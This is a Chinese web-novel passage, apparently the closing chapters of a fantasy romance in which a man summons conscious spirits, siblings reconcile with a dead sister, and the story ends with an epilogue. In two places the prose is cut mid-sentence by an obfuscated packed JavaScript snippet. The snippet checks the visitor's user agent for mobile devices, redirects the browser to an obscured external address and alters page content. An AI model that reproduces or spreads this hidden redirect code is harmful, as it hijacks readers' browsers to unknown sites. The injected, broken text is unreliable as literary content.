舟之覆知道有人来了,但他还是慢吞吞地开门,一开门见到是沉皑就直翻白眼,语气冲冲地问:“你来干什么?”后一眼看到时咎,不爽的表情立刻就换成了欢迎,他说,“时咎时咎我的宝贝你来看我啦!” 时咎毫不犹豫抬腿就踢到舟之覆腹部,把他往后掀翻两米,转头问沉皑:“没人会举报我殴打病人吧?” 沉皑冷漠:“不会。” 舟之覆捂着肚子装死装了好半天都没有人要来扶他一下的意思,他便自己站起来了,这才看到后面还跟着言不恩。他立刻嘲讽道:“哟?掌权者呀,我要跪吗?” 言不恩“啊”了一声,立刻说:“不用。” 三个人一直站在门口,舟之覆也没有要让人进来的打算,他的房间还算大,于是他在这还算大的空间里踱步几秒钟,突然做了一个“请”的手势,说:“我知道你们找我干什么的,嘿嘿,别说,我还真有点成果。请吧!”刚说完,他跟想起什么似的立刻改口,“不对,我只请时咎宝贝一个人进来,你俩,出去。”他指了指沉皑和言不恩。 他“嘿嘿”两声,目光像在放光一样看时咎。 如果不是有求于他,他此时应该在地上头破血流。沉皑松开攥紧的拳头。他对舟之覆别的方面发疯都无感,只是不太喜欢他调侃时咎,尽管知道他就是故意的。 沉皑和时咎对视了一眼,沉皑的眼神很冷漠,时咎朝他微微点头,沉皑这才转身出去,言不恩也跟着出去了。 门被关上,外面的声音被隔绝。时咎也没客气,随意从桌边抽了张椅子出来大大咧咧地坐下。 舟之覆眉头一跳,戏谑道:“哟?宝贝把我的房间当自己房间啦?” 时咎皱眉,烦躁道:“差不多得了,沉皑现在听不到!”每次舟之覆故意想恶心沉皑,最后被恶心到的都是他。 “哦,也是。”舟之覆突然反应过来,立刻变正常语气了。他坐回自己的单人床,习惯性翘起二郎腿,二话没说直接抬手召唤出了他的亡灵大军。 他召唤的还是何为,何为一出来,便问:“谁来了?”结果环视四周,就看到了时咎。 “十九!”何为走到时咎旁边,表情很开心。 时咎朝他点头,心里有些惊讶,因为之前来只是看了下舟之覆本人,并没有过问他能力的问题,不知道他召唤出何为已经可以直接有意识了。 时咎问他:“他们可以有意识多久?” 舟之覆瞥他一眼,整个人径直倒在床上,打了个哈欠说:“我哪知道,我又不怎么召唤别人,这蠢小子倒是一直有意识了。” “一直?” “你这是什么语气?” 时咎觉得自己就是很普通的疑惑语气。犹豫了一下问道:“你召唤过季水……季纯吗?” 舟之覆撩起被子盖在身上,像要睡了一样,慵懒地说:“召唤过啊,有意识,聊了几句,我跟她又没什么聊的,所以收了,不知道能持续多久。” 时咎不知道舟之覆最终找的什么办法做到的,但看来他的办法是有效的。既然已经能召唤出有意识的季纯,应该可以让言不恩知道了。于是他问:“为什么不让他们进来?只跟我说?” 舟之覆乜他一眼,嗤笑:“为什么?不想呗,我就要跟你单独相处,气死沉皑,至于言不恩……”他好像突然想到什么不堪回首的过往,打了个冷颤,头摇得跟拨浪鼓一样,“噢不不不不我的妈,小女孩太可怕了,动不动哭得感天动地的,这谁顶得住,我有厌蠢症。” 时咎微笑:“你知道厌蠢症的本质是什么吗?” “啥啊。” 时咎拉了个微笑轻声道:“是说这话的人自己不能接受自己蠢的那面,所以在别人身上看到他认为自己很蠢的那个特质,就会攻击别人。” 舟之覆“嘁”一声:“你别管!我就是厌蠢!” 一旁的何为忍不住出声解释:“十九你别听他胡说,他故意这么说的。” 舟之覆挑眉:“谁跟你说我故意的,我就是这么想的。” 何为的声音一下就弱了,他默默缩到时咎身后,小声嘀咕:“舟先生其实人很好,每天都陪我聊天,说话也很正常,不知道为什么一提到沉先生,还有一些其他人就阴阳怪气。” 那就不得不提到他们过去的恨与仇,不过是舟之覆单方面进行的。时咎轻声对他说“没事”,再转头问舟之覆:“你平时召唤亡灵大军吗?” “我召唤个屁啊召唤!”舟之覆不耐烦说,他随手一抬,房间里立刻出现了许多淡蓝色影子,那些人影一出现,全部愣在原地,随后像看了什么恐怖片一样,一个个开始问这是哪,他们在哪,怎么了?复活了吗?仅仅十来秒,人影被舟之覆全部收回。 时咎怔怔地愣在原地,心里竟生出一丝风起云涌。他的亡灵大军有了意识与生前记忆,都产生了自主行为,被舟之覆放出来后,便不再受他控制了,那也意味着…… 看到这个场景,舟之覆又有点烦,他猛地从床上坐起来,把被子掀到地上,幽怨地说:“显然,我是世界上最不会无聊的人。” 时咎依然错愕,他问:“你是怎么做到的?” 舟之覆“哼”了一声道:“你管我怎么做到的,我爱怎么做怎么做,如果不是让这蠢……”说到这他没说了,又一头扎进枕头里。 何为对于舟之覆来说到底是什么存在?用一句话形容是“暗室逢灯、绝渡逢舟”,可能是他漫长人生里第一束照下来的光,那光很微弱,微弱得不如一根稻草,但他还是想去抓,稻草断了,他便投射出稻草的影子。 时咎大概想明白了,刚好舟之覆这人是个完全的目标导向者,隙穴之窥,以前是这样,现在也是这样,只是他从想要掌权者的执念变成了想要何为恢复意识与记忆的执念,因为季川泽的存在,他知道这件事是能做到的,于是开始日复一日的尝试,或许监狱那个环境对他有阻碍,反正都是关着,精神病院是个更好的选择,为了这个目标,他装疯卖傻一整年。 极致的目标主义,山河皆可破,日月皆可遮。时咎觉得这种人还是值得尊敬,可敬又可怕。 但是,这也意味着…… 时咎看了眼外面的阳光,平静地问:“之后你的亡灵大军都是这种状态了?” 舟之覆警觉:“干什么?沉皑要趁虚而入揍我啊?” 时咎:“……请不要把你的想法带入别人的想法里。” “所以你问这个干什么?”舟之覆烦得要骂人了。 时咎说:“我只是在想,如果这样,亡灵大军就不再是听你指挥的军队了,有了生前记忆和思维的亡灵,他们就是另一种方式活着的人。” 舟之覆嘲讽的语气说:“那又怎样?” ——为了目标付出一切,死不足惜。 跟在舟之覆身边这么久,何为也几乎全部了解了,他也很疑惑舟之覆的能力是怎么由全然受他控制但无意识的亡灵大军变成这样的,每次问,舟之覆都会恼羞成怒破口大骂叫他别管、别问! 舟之覆绝对不会说他是怎么做到的,以及他做了什么改变,一万个人从他尸体上踏过去他都不会说,他要把这个秘密带入坟墓,鞭他尸都好过让他说明原因。 时咎只能从当时季川泽的状态推断,这位老掌权者死前刚从教化所出来,抱着揭开掌权者阴谋的心态,为了公民的知情而自焚,燃的是生命最后一把火,就是他的良知;何为的死抱着类似的心态,他要保护舟之覆,是一种牺牲精神;季纯更是,最后一天她还是坚定地觉得自己要为公民奉献,最后死在悔恨里。 所以他猜测,舟之覆心里或多或少也要体验这些东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721050|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,包括他对何为清醒的执着,或许,在他目标主义导向的背后,也多了哪怕一丁点的情感驱动?看来疯也有疯的好处,为了完成自己想做的,可以毫无顾忌打破自己建立的规则。 无从得知。但言不恩知道季纯的亡灵也有意识后显然高兴起来,只是这份高兴化成她眉眼弯弯的弧度,像天边悬挂的新月,除此以外并不大吵大闹。 时咎感觉她越来越像季纯了,经历那些事后终于冷静下来,把情绪内化,整个人也柔和许多。 言不恩想见季纯,提到季纯,她才会出现曾经少女般的模样,眼睛快要迸射出光芒。 舟之覆站在打开的房间门口,倚靠着墙,懒懒散散地说:“可以召唤,但我不能给你白看,我要收费。” 言不恩郑重道:“你要多少?” 舟之覆眼里立刻闪过一丝狡黠的光,他“嘿嘿”一笑,说:“我只要听一句话。” 言不恩:“什么话?” 舟之覆清了清嗓,用他刻意伪装得洪亮而字正腔圆、声情并茂的声音说:“舟之覆天下第一!”就这几个字还说破音了。 言不恩犹豫,她的眼神四处飘忽,飘得像现在的心情。做够了心里建设,正要心一横说出口,就被舟之覆打断了。 “哎!慢着!”舟之覆伸手做出阻止的动作,看着言不恩把要说的话强行吞回去,调转指尖,目光也跟了过去,他指向沉皑,扯起嘴角,微笑着轻声道,“我要听他说。” 三人:“……” 沉皑平静地扫他一眼,往前走了一步,让时咎和言不恩全部进了舟之覆的房间,随手关门落锁。 舟之覆觉得不对劲,他后退两步,警觉性很高地问:“你想干什么?” 沉皑神色自若地冷漠说:“你不是想听我说?” “啊对,但也不需要锁门说吧。”舟之覆略微放下心来,他觉得沉皑肯定是不好意思了,有些尴尬和羞耻,毕竟要说出这么伟大的话。 沉皑云淡风轻:“需要。” 正在舟之覆“嘿嘿”要说没事的时候,他的脸挨了重重的一拳。沉皑两步走上来抓着他的衣领朝他挥拳揍过去,把他揍倒在地上,然后蹲下顺势将他整个人压在地上一拳一拳地揍。舟之覆还没反应过来自己怎么就挨揍了,他企图反抗,但尽管健身后有了些肌肉,依然完全无法与沉皑抗衡,最终只能单方面挨揍,发出杀猪一般的惨叫。 沉皑忍他很久了,狠劲一下就出来,抡起拳头毫不客气。 “打我干什么哎哟痛死我了沉皑你大爷我诅咒你!!!”舟之覆扯着嗓子哀嚎。 窗户玻璃因为他的痛也在微小颤抖。他的声音尖锐起来,如同久未推拉的窗被强行打开,听得人耳膜生疼。 何为快步走到时咎旁边,担心地说:“十九,这,这会不会出人命啊!快让沉先生别打了!” 时咎颔首,轻声道:“没事,他有分寸。” 何为感觉不忍直视,退后两步躲到时咎身后,最后点头默许了。 沉皑拳拳到肉,专挑痛点打,舟之覆惨叫得整个病院都是他的声音。言不恩还赶紧出去以掌权者的身份站在外面拦住了前来查看情况的护士,她笑着说:“处理点事,别担心。” 疯癫的不止舟之覆,还有附近被他的惨叫激活的病人们,此时都在各自的房间或走廊焦躁起来。 舟之覆被打得荤七素八的,天旋地转被沉皑松开,此时脸上身上又迅速肿得一块高一块矮的,长长的鼻血留下来,看得触目惊心。 沉皑走回来站在时咎旁边,转头冷冷问:“谁天下第一?” 舟之覆坐在地上打了个嗝,晃晃悠悠站起来,非常努力让自己单手叉腰,慢慢地、深深地吸了一口气,接着不顾疼痛仰天长啸一声大喊道:“老子天下第一!!!” 行。 130. 第 130 章 打也挨了,气也消了,舟之覆总算是消停了。 沉皑颔首冷漠道:“给你三秒。” 舟之覆坐在地上还没起来,只能仰着头朝沉皑怒吼:“三秒什么三秒!” 何为实在忍不住,在旁边非常担心地劝阻:“舟先生,你就听沉先生的吧。” “不可能!”舟之覆偏过头,扯着伤口又偏了回来,恨得牙痒。 沉皑毫不客气:“三。” “二。” “一。” 时咎憋不住扬起嘴角。他在进行死亡倒数的时候,一如既往有威压,气压低得使人无法产生反抗的念头。果然三声数到最后一声,舟之覆暴躁狂叫停:“好好好好我召唤我召唤行了吧!!” 沉皑坐在窗边椅子上,双腿交叠,阳光刚好照在他身上,把他的眼睛照得透明,深蓝色变成了纯蓝,若不是脸上的表情冻结令人望而却步,纯蓝将会是纯蓝的温泉,而不是海底的冰山。 舟之覆艰难站起来,何为过去扶他,手伸一半又想起自己什么都做不了,只能失望放下。舟之覆半眯起眼,轻轻捏拳,掌心朝上,片刻后松开。这房间里逐渐凝聚出淡蓝色的光,光瞬时集结成人的轮廓——一个小小的、瘦弱的女性身躯。 她一出现,先是茫然,好像从无尽黑暗中忽然被召唤至此的茫然,随后便是无措。因为她看到房间里熟悉的人们,她后退了一步,嘴唇微动,什么都没说出来。 不合时宜的风潜逃入室,无端吹落了书桌上的空矿泉水瓶,“砰”一声,矿泉水瓶掉在地上,惊醒其他人。言不恩从时咎身后两步蹒跚出来,与那个半透明身影面对面,于是季纯也看到了她。 言不恩先是停顿,后一步一步往前挪着她沉重的步伐,眼眶渐渐红了。 这场景看得舟之覆异常烦躁,他就知道会是这样的剧情,不干脆、拖泥带水、一会儿还得梨花带雨,想着想着都偏要出声打断这刚刚酝酿起来的氛围,他捏着嗓子说:“小孩要哭喽,要哭喽!” 时咎叹了口气,走过去胳膊一把环住舟之覆的脖子将他往洗手间拖,一边拖一边听舟之覆大叫:“干什么干什么!” 时咎低声说:“你太吵了,安静会儿,一会儿放你出来。” 在舟之覆没来得及做出反抗,时咎把他推入洗手间,再推门关上,用自己的身体压住门。 真的太吵了,任舟之覆在里面捶门,反正一会儿就消停了。 言不恩走到季纯面前,她只是红着眼睛,手指蜷缩着扯着自己的衣角,小声叫了一声:“姐。”叫完,她的眼泪就掉下来了。 季纯很惊愕,她知道自己又被舟之覆召唤出来了,只是没想到他们都在。在死前,她没有勇气面对他们,现在逼着她无路可退,反而很快冷静下来。他们应该都知道了,她想,知道了还愿意见她,也不算太糟。 于是她笑了下,如过去十多年那般温柔,轻声说:“别哭。” 结果言不恩哭更厉害了,她由啜泣变成了嚎啕大哭,好像要把这一年多受的委屈全部哭出来,她还是个公主,在这一年却活成了女王。 言不恩边哭边说:“姐姐,你丢我一个人。” 季纯叹气,目光看向坐在窗边的沉皑,沉皑朝她微微点头。她不知道自己该从何说起,因为太久了,这一生太长了,她在黑暗里游荡得太远了,好像从她坠入虚空那一刹那起,她便注定永远沉沦。 抱也无法,安慰也无用,局促半天,季纯只得拘谨问沉皑:“你们,你们都知道了吗?我有事瞒着……” “知道。”沉皑轻轻打断她,语气里虽然没有太多情绪,但那对季纯来说就是最好的回答,她浅淡地笑了下,那笑在稚嫩的脸上开出纯洁的花。 或许身为局外人,沉皑和时咎对这件事的执念没有像季山月那么深,如常与无常,他们也得做出选择,于是他们选择带着如常去过无常的生活。也许他们之间以后都会有一根针悬刺半空,但……让伤害止于自己。 时咎把舟之覆拖出了大门,舟之覆赶紧收了何为,他们三个都出来了,想让言不恩和季纯单独说她们的话。 出来了舟之覆还特别不爽,连带着看其他病人也很不爽,他恨着沉皑说:“我是你的下级吗?凭什么你让我召唤我就召唤,我有什么好处?” 沉皑随口一说:“我可以让你离开精神病院。” “谁跟你说我要离……”话说一半停住,舟之覆变脸似的变了表情,用怀疑的眼光打量他,将信将疑,“真的假的?你这么好?” 沉皑面无表情:“嗯。” 舟之覆灵光乍现,俨然一副好了伤疤忘了痛的态度要求道:“那你把时咎宝贝送我也行噗!”话没说完,他的小腹又挨了一拳,他疼得直蹲地上。即使这样,舟之覆还是咬着牙说:“沉皑你大爷的,行,行,成交,我给你召唤,你把老子从这弄出去!” 沉皑淡漠:“嗯。” 也不知道是谁牵制了谁,沉皑没想过这个问题,但舟之覆觉得是自己牵制了沉皑,毕竟现在是沉皑有求于他。 身后紧促的脚步声靠近,陌生的声音在后面响起:“沉先生,人带到了。” 时咎转过头,看到这位他并未见过面的安全管理中心新管理,一个年轻笔挺穿着休闲衫的男人。旁边是季山月,双手背在身后似乎被束缚着。时咎侧身,看到季山月手腕上一层淡灰色的光晕,他心下了然。 之前听说过这位新来的管理叫北走,能力是约束力场,只要不是对方的能力绝对压制他,他可以在一定程度上束缚和限制人的移动,这对安全管理来说是非常合适的能力。 有传闻说舟之覆和凌超建对他进行过暗杀,但是失败了,不过这位管理的体能不如上任季纯的体能,所以即使躲过,又无法解决掉这两个人,就变成了互相干不掉,最后都放弃了。 他这么停驻在门边,时咎看到这位管理和舟之覆一点交流也没有,连扫过去的一眼也是没有波澜的。他想这个传闻也许是假的。 沉皑微微点头,舟之覆坐在地上懒懒地肇事:“哟?这谁啊?怎么还锁手呢?原来是季山月啊!”也许嫌这里是走廊,随时会有病人和医生来往,舟之覆索性直接往又脏又冷的地板上一躺,摆了个“大”字型,头发散在身下像撑开的折扇,彻底装疯。 季山月没搭理他,也没说话。他被带出牢房的时候并不知道自己要去哪里,看到见到舟之覆的一瞬间,他就懂了。 门里面有细微的谈话声,在外面听得不真切,很久之后门开了,言不恩从里面走出来,看到季山月的刹那愣了一下,又默默退到一边。 季山月看向沉皑,沉皑让出一条路,眼见着季山月深呼吸,他的指尖在手掌里摩擦,擦得那些细汗沾在手指上。 季山月从未做好心理准备,所以连心跳也控制不住,几乎是让身体拉扯着自己的灵魂僵硬在往门里走,每走一步,都有一块更重的巨石挡在前面,层层叠叠筑起高塔。 “砰”,门轻声关上,石头塔全部垮塌。 一年多了。季纯站在房间中央,她也没想到进来的会是季山月,巨大的愧疚裹挟来,她后退了一步。 季山月想开口,结果一开口就咬到舌头,疼得倒吸一口气,又把口水吸到气管,猛烈咳起来。 季纯犹豫问:“没……事吧?” 季山月一边咳一边摆手,咳得脸通红,他在想,换做以前,姐姐会帮他拍下背说“小心点”。 “小心点。” 稚嫩的声音和记忆里温柔成熟的声音重合,一起出现了。 若不是音色有变,季山月几乎觉得是幻听。片刻,他直起身子,终于肯直视这个小小身影了。 那么小,还透明。季山月不知道该说什么,也不知道该不该怪她,好像曾经崩溃的执着,在漫长时光里也被消耗殆尽,他该怪谁呢?怪季纯本人还是她的母亲?他们都不过是历史洪流里被席卷冲上岸的污泥,无水便坚定,有水又柔软。 季山月说:“姐。” 季纯无奈笑了下,说:“不需要这样。” 季山月觉得此时自己也不在这里,灵魂早飘上半空,他单刀直入说:“我很恨你,但又很爱你,想像从前一样,但又做不到。” 他痛苦道:“我做不到,什么都做不到。” 季纯柔和一笑,换了话题问:“你还时常变回那样吗?” 季山月摇头,深呼吸,双手抹了把脸,抹下来的是汗是泪并分不清:“我想清楚了,我一直逃避这件事,他就会一直存在,只有我直面他,直面这件事,他才会消失,因为我不需要他的保护。” “那就好。” “其实……”季纯快速接道,但她感觉她要说的话也是啼笑皆非,她说,“其实我也恨你,那些孩子,都没做错什么的。但我也……也还是爱你,也对不起你。” 人就是这样的生物,既快乐又哀伤,即充满绝望又总要歌颂希望,又爱又恨,又统一,又矛盾。 房间里沉默了很久后,季山月问:“以后怎么办?” 季纯的脸上稍显轻松,她说:“不是所有事都有解决办法的,以后过好想过的生活就行,我们都只是很平凡的人,做不出决绝或者神圣的决定。” 季山月望向她,片刻,郑重道:“好。” 时间从来不是治病良方,只是止痛剂。任谁说完全恨或完全放下,都是虚情假意,但他们每个人本身都是带着过往在负重前行。都是平凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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时咎在床上呆了很久想今天要做什么,才想起最近很长一段时间都没有安排,养老院最近做什么活动,取消了两次治疗,监狱对罪犯的音乐治疗活动也因为他们内部原因暂停一个月,刚好时咎得到了一个难得的假期,于是他问沉皑想不想去房车自驾游,沉皑说可以,时咎立刻就开始窝在被子里上网查地方与攻略,最终定了一条路线:海安直达巴黎。 沉皑没有距离概念,只伸手把时咎往自己怀里拢了下就含糊着答应了。 被子里的体温适宜,谁也不想出来。 最近沉皑太忙了,一是新的进化仪器投入使用,升级过的无申请通道思维透明舱,文明每个公民都需要预约重做,排队排到三年后;二是没有舟之覆后,所有这方面的审核工作全部压到沉皑身上,他几乎是醒来到睡去的全部时间都埋身于起源实验室,甚至半数时间不会回家,他的休息日便挪到了时咎这里,或许之后很长一段时间他都会来这边而不是让时咎回恩德诺。 时咎还在想沉皑没有证件的事,转眼又想好像也不需要,想到证件,时咎思绪又飘远了,他想到了一件特别有仪式感的事,于是放下手机问旁边的人:“我在恩德诺也没有证件,我可以跟你结婚吗?” 沉皑没理解他的话,低声说,“结婚为什么要证件?” 时咎恍然想起,他们的透明性,就是他们的证件。 看来他只能永远在恩德诺当个未成年了,管他呢,就说自己能意念控制永远不老吧。 沉皑也想到一个问题,他犹豫着问时咎:“你想不想回恩德诺?” “嗯?”时咎翻了个身,让自己面对沉皑。他伸手去捏那张脸,发现这脸即使在他的摧残下,表情都没怎么变,他说:“你是说身体真实回恩德诺?” 沉皑:“嗯。”既然当时有办法送他来,也有办法带他回去,只是需要斟酌一下。 但时咎拒绝了,他轻声道:“我觉得这样很好,你睡觉的时候在这边见我,你醒来我又过去了,总是在一起的,看得见摸得着没区别。不过你要是能力够支撑我随时随地来回跑,也不是不行。”说完他就没忍住笑出来,有点把沉皑的能力当提款机了,不过想想他的能力取之不尽用之不竭,罪恶感又消失了。 沉皑颔首轻应:“嗯,听你的。” 时咎吻了他的嘴角,询问:“等你这两年忙完,可以在恩德诺结婚吗?” 沉皑笑了下,鼻息扑到时咎的颈窝,他起了一身鸡皮疙瘩。沉皑柔声道:“不用等这两年忙完,你下次过来就去。” 时咎想,他将来还是留在这个生活了二十多年的世界,开展或做慈善,一生为艺术献身,或许还能有些别的体验,以后再说吧,不过这也意味着,他在旁人的眼光里看来,将会一个人走完这一生。但白天在现在的世界,夜晚去往另一片天,他的人生本就不同。等到垂暮,等到死亡,又回到他永恒的梦里。他可以自由选择。 时咎望着沉皑深蓝色的眼睛,想到博尔赫斯的诗:夜晚是深蓝色的骄傲,是你转身的侧影,是组成你名字的发音。 无论去与往,俱是梦中人。 - 正文完